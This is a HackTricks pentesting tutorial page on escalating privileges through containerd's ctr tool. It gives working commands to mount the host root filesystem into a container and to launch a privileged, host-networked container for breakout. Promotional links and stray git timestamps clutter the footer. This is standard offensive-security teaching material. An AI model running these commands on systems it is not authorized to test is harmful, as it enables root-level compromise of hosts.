hacktricks/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md

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# Containerd (ctr) Privilege Escalation
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<details>
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- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
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## Basic information
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Go to the following link to learn **what is containerd** and `ctr`:
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{% content-ref url="../../network-services-pentesting/2375-pentesting-docker.md" %}
[2375-pentesting-docker.md](../../network-services-pentesting/2375-pentesting-docker.md)
{% endcontent-ref %}
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## PE 1
if you find that a host contains the `ctr` command:
```bash
which ctr
/usr/bin/ctr
```
You can list the images:
```bash
ctr image list
REF TYPE DIGEST SIZE PLATFORMS LABELS
registry:5000/alpine:latest application/vnd.docker.distribution.manifest.v2+json sha256:0565dfc4f13e1df6a2ba35e8ad549b7cb8ce6bccbc472ba69e3fe9326f186fe2 100.1 MiB linux/amd64 -
registry:5000/ubuntu:latest application/vnd.docker.distribution.manifest.v2+json sha256:ea80198bccd78360e4a36eb43f386134b837455dc5ad03236d97133f3ed3571a 302.8 MiB linux/amd64 -
```
And then **run one of those images mounting the host root folder to it**:
```bash
ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/ubuntu:latest ubuntu bash
```
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## PE 2
Run a container privileged and escape from it.\
You can run a privileged container as:
```bash
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ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash
```
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Then you can use some of the techniques mentioned in the following page to **escape from it abusing privileged capabilities**:
{% content-ref url="docker-breakout/" %}
[docker-breakout](docker-breakout/)
{% endcontent-ref %}
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<details>
2023-03-05 23:16:20 +00:00
<summary><strong>HackTricks in </strong><a href="https://twitter.com/carlospolopm"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch</strong></a> <strong>Wed - 18.30(UTC) 🎙️</strong> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2022-09-09 11:28:04 +00:00
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
2022-04-28 16:01:33 +00:00
2022-09-09 11:28:04 +00:00
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
2022-04-28 16:01:33 +00:00
2022-09-09 11:28:04 +00:00
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
2022-04-28 16:01:33 +00:00
2022-09-09 11:28:04 +00:00
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
2022-04-28 16:01:33 +00:00
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- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>